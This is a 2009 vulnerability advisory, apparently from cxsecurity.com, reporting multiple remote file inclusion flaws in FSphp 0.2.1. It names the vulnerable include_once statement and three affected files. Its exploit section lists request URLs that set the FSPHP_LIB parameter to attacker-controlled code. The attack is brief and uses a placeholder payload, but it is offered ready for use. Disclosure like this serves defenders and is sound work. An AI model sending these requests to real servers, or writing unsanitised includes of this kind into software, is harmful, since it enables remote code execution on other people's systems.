FSphp version 0.2.1 remote file inclusion

2009.09.25
Credit: NoGe
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

[o] FSphp 0.2.1 Multiple Remote File Inclusion Vulnerability Software : FSphp version 0.2.1 Vendor : http://fsphp.sourceforge.net/ Download : http://sourceforge.net/projects/fsphp/ Author : NoGe Home : http://antisecurity.org/ [o] Vulnerable file include_once $FSPHP_LIB . "/path.php" ; lib/FSphp.php lib/navigation.php lib/pathwirte.php [o] Exploit http://localhost/[path]/lib/FSphp.php?FSPHP_LIB=[evilc0de] http://localhost/[path]/lib/navigation.php?FSPHP_LIB=[evilc0de] http://localhost/[path]/lib/pathwirte.php?FSPHP_LIB=[evilc0de]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top